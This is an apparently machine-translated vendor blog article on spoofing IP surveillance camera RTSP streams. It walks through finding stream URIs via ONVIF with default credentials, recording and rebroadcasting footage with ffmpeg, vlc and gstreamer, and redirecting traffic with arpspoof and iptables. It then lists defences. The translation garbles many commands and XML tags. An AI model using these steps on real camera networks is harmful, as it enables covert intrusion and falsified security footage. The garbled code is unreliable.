在实践中破解CCTV摄像机

海洋的《十一朋友》电影的粉丝一定已经认识到我们选择用来说明本文的框架。 硬汉巧妙地替换了赌场CCTV摄像机的模拟信号的那一刻,引起了很多人的注意。 有些人甚至尝试在现实生活中这样做。

图片

技术已经发生变化,现在IP摄像机比模拟摄像机更受青睐,破坏它们的方法将在后面详细讨论。

如果您不是偏执狂,这并不意味着您不会被监视


大多数黑客这样做是为了娱乐或在互联网上获得一定的声望。 他们在相机支持系统中使用众所周知的“漏洞”,并在流行的Internet资源上发布有趣的视频。 YouTube充斥着类似的 视频

我们将考虑该漏洞带来的更严重的后果,即当破解者不背叛自己和他渗透到系统中时。 通常会在黑客入侵之前的一周甚至一个月内仔细计划此类攻击。

就像我们在《海洋十一人》的示例中一样,我们将讨论在视频监视系统中替换流,不仅仅是模拟信号,而是数字信号,即RTSP流。

由于本文中的所有信息本质上都是信息性的,并且主要旨在消除构建视频监视系统时的安全错误,因此我们不建议您使用此漏洞,稍后将对此进行讨论。 因此,仅从表面上考虑黑客入侵视频监控网络本身,并且所描述的方法涉及对企业或个人网络的开放访问。 请记住,未经授权访问数据可能会受到起诉。

我们公司的经验表明,该主题非常相关,因为在调试视频监控系统的阶段,许多人使用RTSP链接将摄像机连接到其系统。 为了节省时间,要么出于无知,要么是出于确保必要的考虑,许多人甚至没有考虑更改密码或查看相机支持的安全设置。

顺便说一句,RTSP(实时流协议)是一种允许您实时控制流视频的协议。 我们需要知道的是,借助RTSP链接,我们将从摄像机获取视频流。

最后,我们开始实践 ,即按照计划采取行动:

1.获取要替换其流的摄像机的RTSP链接。
2.准备视频文件以进行后续广播。
3.广播录制的文件。
4.防止二次流交换。

获取RTSP URI流


要替换来自摄像机的信号,您首先需要找到我们需要的视频流。 这将需要通过RTSP协议链接到它。 相机通常会传输多张图像(高分辨率和低分辨率)。 第一个用于录制,第二个-用于在视频监控屏幕上播放。 最低分辨率(通常为320 x 240像素)可减少设备的负载。 对于每个RTSP流,通常用密钥中的一位数字来区分链接。

不同的摄像机可能具有不同的RTSP链接,但是一般视图大致如下:
rtsp:// [登录名:密码@] ip地址:RTSP端口[/ key]

解码如下:

  • 登录名和密码-用于访问摄像机的密码(可能不是);
  • 如果链接中包含用户名和密码,则在它们后面显示@符号以分隔授权和IP地址;
  • 默认情况下,通过其传输流视频控制命令的RTSP端口为554;
  • 密钥是RTSP链接的唯一组成部分,它会根据摄像机的制造商和型号而有所不同,例如:
    /?user = admin&password = admin&channel = channel_number&stream = stream_number.sdp
    /play1.sdp-指示流号而不是“ 1”;
    / live / ch00_0 00-频道号,0-流号;
    /通道1-指示流号而不是“ 1”。

如何在不访问相机的情况下找到RTSP链接? 一些简单的方法:

1.在相机制造商的网站上找到链接。
2.在Internet上搜索提供不同相机型号链接的站点, 此处此处都是此类站点的示例。
3.在制造商的网站上下载用户手册,并在此处找到必要的信息。

对于简单方法都无济于事的情况,则要复杂一些。 这里至少需要访问摄像机所在的网络。 由于大多数现代相机都支持ONVIF,因此我们可以使用此协议找到RTSP链接。
为此,默认情况下,在建议的摄像机上未经授权或经授权发送多个请求,例如“ admin:admin”或“ admin:12345”。 顺便说一句,实际上,有些摄像机具有有效的IP地址过滤器以及非标准的登录名和密码,但是由于通过ONVIF协议访问时固件中的错误,因此未检查授权或过滤器。

如何通过ONVIF协议从摄像机获取到两个流的所需链接?

1.使用GetProfiles命令,找到我们需要其uri的配置文件的名称
 POST / onvif / media_service HTTP / 1.1
主机:192.168.1.77
用户代理:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetProfiles”
内容长度:2120
连接:保持活动状态
 SOAPAction:“ http://www.onvif.org/ver10/media/wsdl/GetProfiles”

 <?xml版本=“ 1.0”编码=“ UTF-8”?>
 <SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
                    。
                   跳过整个名称空间的描述。
                    。
                    xmlns:trt =“ http://www.onvif.org/ver10/media/wsdl”>
     <SOAP-ENV:标头> </ SOAP-ENV:标头>
     <SOAP-ENV:正文>
         <trt:GetProfiles />
     </ SOAP-ENV:正文>
 </ SOAP-ENV:信封>


2.在收到的长答案中,我们找到第一行和第二行的名称行
 HTTP / 1.1 200 OK
伺服器:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetProfiles”
内容长度:17405
连接方式:关闭

 <?xml版本=“ 1.0”编码=“ UTF-8”?>
 <SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
                    。
                   跳过整个名称空间的描述。
                    。
                    xmlns:tns1 =“ http://www.onvif.org/ver10/topics”>
     <SOAP-ENV:标头> </ SOAP-ENV:标头>
     <SOAP-ENV:正文>
         <trt:GetProfilesResponse>
             <trt:配置文件已固定=“ true”令牌=“ profile_cam1_stream1”>
                 <tt:名称> profile_cam1_stream1 </ tt:名称>
                 <tt:VideoSourceConfiguration令牌=“ videosource_config_cam1”>
                     <tt:名称> videosource_config_cam1 </ tt:名称>
                     。
                    跳过个人资料描述。
                     。
             </ trt:个人资料>
             <trt:配置文件已固定=“ true”令牌=“ profile_cam1_stream2”>
                 <tt:名称> profile_cam1_stream2 </ tt:名称>
                 。
                我们跳过了第二个配置文件的描述。
                 。
             </ trt:个人资料>
             。
            我们不考虑第三种情况。
             。
         </ trt:GetProfilesResponse>
     </ SOAP-ENV:正文>
 </ SOAP-ENV:信封>

 -profile_cam1_stream1是摄像机上第一个配置文件的名称。
 -profile_cam1_stream2是摄像机上第二个配置文件的名称。


3.现在,您需要使用GetStreamUri命令为这些配置文件请求rtsp uri,并在ProfileToken字段中指定所需的配置文件
第一个线程的示例:

 POST / onvif / media_service HTTP / 1.1
主机:192.168.1.77
用户代理:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetStreamUri”
内容长度:2479
连接:保持活动状态
 SOAPAction:“ http://www.onvif.org/ver10/media/wsdl/GetStreamUri”

 <?xml版本=“ 1.0”编码=“ UTF-8”?>
 <SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
                    。
                   跳过整个名称空间的描述。
                    。
                    xmlns:trt =“ http://www.onvif.org/ver10/media/wsdl”>
     <SOAP-ENV:标头> </ SOAP-ENV:标头>
     <SOAP-ENV:正文>
         <trt:GetStreamUri>
             <trt:StreamSetup xsi:type =“ tt:StreamSetup”>
                 <tt:流xsi:类型=“ tt:StreamType”> RTP单播</ tt:流>
                 <tt:运输xsi:类型=“ tt:运输”>
                     <tt:协议xsi:类型=“ tt:TransportProtocol”> UDP </ tt:协议>
                 </ tt:运输>
             </ trt:StreamSetup>
             <trt:ProfileToken xsi:类型=“ tt:ReferenceToken”> profile_cam1_stream1 </ trt:ProfileToken>
         </ trt:GetStreamUri>
     </ SOAP-ENV:正文>
 </ SOAP-ENV:信封>

作为回应,我们获得了所需的链接:

 HTTP / 1.1 200 OK
伺服器:gSOAP / 2.8
内容类型:应用程序/ soap + xml; 字符集= utf-8; 操作=“ http://www.onvif.org/ver10/media/wsdl/GetStreamUri”
内容长度:3701
连接方式:关闭

 <?xml版本=“ 1.0”编码=“ UTF-8”?>
 <SOAP-ENV:信封xmlns:SOAP-ENV =“ http://www.w3.org/2003/05/soap-envelope”
                    。
                   跳过整个名称空间的描述。
                    。
                    xmlns:tns1 =“ http://www.onvif.org/ver10/topics”>
     <SOAP-ENV:标头> </ SOAP-ENV:标头>
     <SOAP-ENV:正文>
         <trt:GetStreamUriResponse>
             <trt:MediaUri>
                 <tt:Uri> rtsp://192.168.1.77:554 / snl / live / 1/1 </ tt:Uri>
                 <tt:InvalidAfterConnect>否</ tt:InvalidAfterConnect>
                 <tt:InvalidAfterReboot>否</ tt:InvalidAfterReboot>
                 <tt:超时> PT0S </ tt:超时>
             </ trt:MediaUri>
         </ trt:GetStreamUriResponse>
     </ SOAP-ENV:正文>
 </ SOAP-ENV:信封>

我们对第二个流执行相同的操作并获取链接:
 <tt:Uri> rtsp://192.168.1.77:554 / snl / live / 1/2 </ tt:Uri>


将RTSP流写入文件


当我们获得必要的rtsp链接时,我们需要录制一个持续数小时的视频。 不要忘记在现代系统中使用了双线程,因此您需要同时记录两个流。

您可以使用各种软件使用RTSP协议录制视频流。 考虑最流行的ffmpeg,gstreamer和vlc

1.通过ffmpeg进行流录制
 $人ffmpeg
我们感兴趣的是:
 -vcodec复制-将视频复制到文件;
 -编解码器复制-将音频复制到文件;
 -rtsp_transport tcp-选择传输流的方法;
 -r 25-设置每秒的帧速率;
 -复制-复制时间戳;
 -start_at_zero-复制从00:00:00:000开始的时间戳

我们替换RTSP链接,并通过复制指定记录将要到达的文件的路径和名称。
 %ffmpeg -i rtsp://192.168.1.77:554 / snl / live / 1/1 -copyts -start_at_zero -rtsp_transport tcp -r 25 -vcodec复制-acodec复制/home/line/example/1.avi

图片

开始写入文件。

2.通过vlc录制
您可以使用以下命令熟悉vlc媒体播放器向我们提供的命令集
 $ vlc –h。

我们感兴趣的是:
 -sout =#file {path}-指向我们要将视频复制到的文件;
 -rtsp-tcp-通过tcp接收rtsp;
 -rtsp-frame-buffer-size = 1000-缓冲区,以便在播放过程中视频不会崩溃;
 -h264-fps = 25-附加25帧。

替换我们的数据并运行
 $ cvlc rtsp://192.168.1.77:554 / snl / live / 1/1 --rtsp-tcp --rtsp-frame-buffer-size = 1000 --h264-fps = 25:sout =#file {dst = /home/line/example/1.avi}。

 vlc窗口将打开并开始记录;当您关闭窗口时,记录将停止。


3.通过gstreamer记录
可在<a href="https://gstreamer.freedesktop.org/documentation/plugins.html">此处</a>找到有关使用gstreamer的信息。
 -rtspsrc位置=“ rtsp://192.168.1.91:554 / cam / realmonitor?Channel = 1&subtype = 0&unicast = true&proto = Onvif”-指定RTSP流作为数据源。
 -rtph264depay-在RTSP视频中,视频是分成小块(rtp数据包)的,通过rtph264depay,我们将从这些数据包中接收视频。
 -h264parse-顾名思义,解析H.264流。
 -avimux-在avi中收集流,您也可以使用mp4mux或matroskamux(mkv)。
 -filesink location = 1.avi-指定要在其中保存视频的文件。

 gst-launch-1.0 -v rtspsrc位置=“ rtsp://192.168.1.91:554 / cam / realmonitor?channel = 1&subtype = 0&unicast = true&proto = Onvif”!  rtph264depay!  h264parse!  mp4mux!  filesink位置= 1.mp4

图片

从文件广播RTSP流


现在该开始以RTSP格式广播录制的文件了。 为此,我们将使用上一节中讨论的所有相同程序。

1.要使用ffmpeg从摄像机广播视频流,必须使用ffserver。 它的描述可以在这里找到。 为了设置转换参数,必须填写 ffserver.conf 文件

ffserver
 Ffserver.conf文件
 RTSPPort-设置广播将通过的rtsp端口号。
 <Stream snl / live / 1/1>-在Stream之后,我们设置必要的密钥。
格式rtp-传输格式。
文件“ /home/line/example/1.avi”-rtsp_transport tcp-指定要传输的文件的路径,以及要通过tcp传输的密钥。
 NoAudio-不传输声音。

 Ffserver.conf文件

 RTSP端口554

 <流snl /直播/ 1/1>
格式rtp
文件“ /home/line/example/1.avi” -rtsp_transport tcp
无声 
 </ Stream>
接下来,运行%ffserver -f ffserver.conf。

图片

2.现在,我们将使用vlc-media播放器。 尽管事实上这是最简单的方法,但是不幸的是,vlc只能通过UDP广播流。

VLC媒体播放器
启动rtsp流的命令:
 -sout =#rtp {sdp = rtsp://192.168.1.232:554 / snl / live / 1/1}-设置进行广播的链接。
 -重复-如有必要,将视频设置为重复播放。
 vlc /home/line/example/1.avi --sout =#rtp {sdp = rtsp://192.168.1.232:554 / snl / live / 1/1} —重复


3.最后,使用gst-server。

GST服务器
首先,您需要安装它。
 $ sudo apt-get install gstreamer1.0
 $ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz
 /gst-rtsp-server-1.8.3$ sudo apt安装gtk-doc-tools
 /gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev
 /gst-rtsp-server-1.8.3$ make
现在我们可以更改文件/gst-rtsp-server-1.8.3/examples/test-launch.c
在这里您可以更改默认的RTSP端口
 #定义DEFAULT_RTSP_PORT“ 8554”
钥匙在链接上
 gst_rtsp_mount_points_add_factory(安装,“ /测试”,工厂)。
取代我们的价值观之后,我们就会实现。
现在使用键运行测试启动文件。
 -rtspsrc location =“ / home / line / example / 1.avi”-我们将播放的文件的路径。
 -H264编码器-以h.264编码。
 -rtph264pay名称= pay0 pt = 96-将我们的信息流分成多个部分。
 $〜/ gst-rtsp-server-1.8.3 /例子$ ./test-launch“((rtspsrc location =” / home / line / example / 1.avi“!x264enc!rtph264pay name = pay0 pt = 96)”


录制的文件以RTSP格式广播,此后我们解决了摄像机故障的问题。 以下是根据我们要攻击的对象而有所不同的一些选项。 实际上,还有更多方法,仅考虑最基本的方法。 我们需要的第一件事就是进入我们需要的网络。

如果对象在领土上较大,则通常有机会物理上接近某些摄像机,甚至尝试查找与摄像机连接的交换设备。

如果对象较小,则可以尝试通过wi-fi进入网络并使用nmap进行扫描。

另外,如果可以通过物理方式访问照相机,则可以使用单板计算机分几个阶段破解照相机:

1)启用wireshark记录;
2)暂时断开相机的电线,然后将其连接至单板;
3)将电缆放回原处;
4)研究收到的日志。

或者,如果您可以访问网络,则可以使用经典的替换方法:

-在相机和服务器之间使用arpspoof支架;
-使用ip_forward将请求从监视服务器转发到IP摄像机,反之亦然;
-使用iptables通过RTSP端口将所有请求重定向到监视服务器,而不是从摄像机而是从我们的计算机。

黑客监控摄像头


为了根据上述步骤保护自己免受线程欺骗,可以使用几种方法:

1.相机整合
通过将相机集成到软件产品中,可以提供最大的保护。 在此处检查摄像机是否与Line监视系统集成。
如果未列出您的摄像机或制造商,则可以联系技术支持以请求集成您的IP摄像机型号。

2.固件更新
有必要不断更新相机固件,因为借助更新,开发人员可以修复各种漏洞,从而提高相机的稳定性。

3.更改标准的登录名和密码
攻击者要做的第一件事是尝试使用标准的相机用户名和密码。 使用说明中指出了它们,因此找到它们并不困难。 因此,请始终使用唯一的用户名和密码。

4.启用强制授权
许多现代相机都具有此功能,但不幸的是,并非所有用户都知道此功能。 如果禁用此选项,则相机在连接到它时将不会请求授权,这将使其容易受到黑客攻击。 值得注意的是,有些摄像机具有双重访问权限,可以进行http访问和通过ONVIF协议访问。 同样,在某些摄像机中,通过直接RTSP链接进行连接时,对授权请求有单独的设置。

5. IP地址过滤器
如果相机支持所谓的白名单功能,则最好不要忽略它。 借助它的帮助,可以确定您可以从中连接到摄像机的IP地址。 该地址应该是摄像机所连接的服务器的地址,如果需要,还应该是进行配置的工作站的第二个IP地址。 但这不是最可靠的方法,因为攻击者在更换设备时可以使用相同的IP地址。 因此,最好将此选项与其他建议一起使用。

6.网络保护
必须正确配置交换设备。 现在,大多数交换机都支持arp欺骗保护-请务必使用此功能。

7.网络共享
您应特别注意此事项,因为这在系统安全性中起着重要作用。 企业网络和监视网络的分离将保护您免受入侵者的侵害,甚至保护您自己的员工,这些员工可以访问共享网络并想要黑客。

8.打开OSD菜单
您必须使用相机上的当前时间和日期启用OSD菜单,以便您始终可以检查图像的相关性。 这是防止更改素材的好方法,因为OSD会叠加在来自特定摄像机的所有视频上。 即使攻击者记下了RTSP流,由于仍会保留在视频帧中的数据,欺骗也会很明显。

不幸的是,许多攻击者已经学会了快速发现并利用IP视频监视系统中的漏洞。 为了保护网络安全,有必要熟悉本文介绍的保护方法。 留出足够的时间来调试系统,尤其是正确配置其所有组件。 因此,您可以为网络提供最大程度的安全性,防止黑客入侵。

总之,我们建议您分享评论,您将如何保护视频监控网络免受黑客攻击? 您认为哪种攻击方法最危险?

Source: https://habr.com/ru/post/zh-CN405083/


All Articles